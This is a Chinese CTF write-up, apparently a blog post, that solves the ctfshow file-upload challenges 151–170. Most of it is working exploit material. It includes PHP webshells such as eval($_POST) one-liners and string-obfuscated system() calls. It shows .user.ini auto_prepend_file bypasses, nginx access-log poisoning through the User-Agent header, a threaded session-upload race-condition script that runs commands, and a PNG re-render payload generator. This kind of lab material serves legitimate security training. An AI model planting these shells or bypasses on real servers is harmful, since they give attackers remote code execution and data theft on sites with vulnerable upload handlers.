ctfshow upload151-170

upload

151

前端有验证,bp抓包,上传png图片马更改后缀png为php,蚁剑连接时候把https的s删掉 ,连接密码是cmd

152

和上一个解法一样

153

先上传.user.ini再上传1.png 上传完访问/upload/index.php 蚁剑连接时候http://c36bb47b-c431-48be-bda3-28106744f99e.challenge.ctf.show/upload/index.php 连接密码是a

154-156

对php这三个字母过滤了,还过滤了[]
构造:<?=eval($_POST{1})?> 先上传.user.ini 和1.png 最后同上访问的是upload/index.php

157-158

配置文件上传完了

image-20240722181147886

但是我们可以任意执行php,就用系统命令查看一下,直接找到flag文件,  上传个mnl ../fla*  之后访问upload/index.php即可找到flag
记得查看源代码

159

上传.user.ini然后bp抓包<?=`nl ../fl*`?>

也可以<?=`ls ../`?> 第二次<?=`tac ../f*`?>

160

先ini配件上传,接着上传1.png抓包更改

下面图
<?php @eval($_POST['x']);?>
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

image-20240722183751460

161

GIF89a
auto_prepend_file=1.png		.user.ini文件配置 
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>		1.png文件配置
然后抓包user-agent换成<?php @eval($_POST['x']);?>

162-163

条件竞争 先上传ini,session包含

我们上传的文件如果不符合要求,就会被删除,导致成功上传无法访问,没有用。但是如果我们上传的速度比服务器删的速度快,就可以了。大佬的脚本(加了点注释,稍微改了一点点)

import requests
import threading
import re

session = requests.session()
sess = 'shell' #之前上传时自拟的名字
url1 = "http://1ed33aa3-8e8c-42cd-be09-bd1b3e70872a.challenge.ctf.show/"
url2 = "http://1ed33aa3-8e8c-42cd-be09-bd1b3e70872a.challenge.ctf.show/upload"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
    'file': 'wenjian'  #文件名,随便改就行
}
cookies = {
    'PHPSESSID': sess
}


def write(): #上传文件竞争过程
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True: #每次竞争完都访问一下url/uoload看有没有flag
        r = session.get(url2)
        if 'flag' in r.text:
            flag=re.compile('ctfshow{.+}') #flag格式ctfshow{}
            print(flag.findall(r.text))


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

164

二次渲染 png图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>
&0=system
POST: 1=tac flag.php
要用chorme浏览器  执行完ctrl+s下载图片然后改为txt

165

jpg二次渲染

image-20240722193651811

还是用chorme   post传入:1=system("tac f*");

166

f12看到前端要求zip

image-20240722195734207

image-20240722195845675

167

经过测试上传文件必须为jpg后缀,通过题目提示httpd,尝试使用上传.htaccess文件进行绕过

先上传hata(开始名字要是后缀jpg后面抓包改)

然后上传一句话木马jpg

image-20240722200643920

168

测试得到前端要png

bp改后缀php 内容改为

<?php echo `tac ../flagaa.php`;?>

<?php echo `cat /var/www/html/*`;?>

image-20240722201255498

其他方法

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php 
    $poc="s#y#s#t#e#m"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>


web169&web170(构造包含日志)

image-20240722202449206

传zip终于能抓到包,但是还说类型不对。
再把Content-Type改成image/png就可以正常传php了

image-20240722202745406

先ini配件上传,接着上传新的zip抓包更改UA头和下面内容

下面图
UA改成:<?php @eval($_POST['x']);?>
zauto_prepend_file="/var/log/nginx/access.log"

image-20240722203606883

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值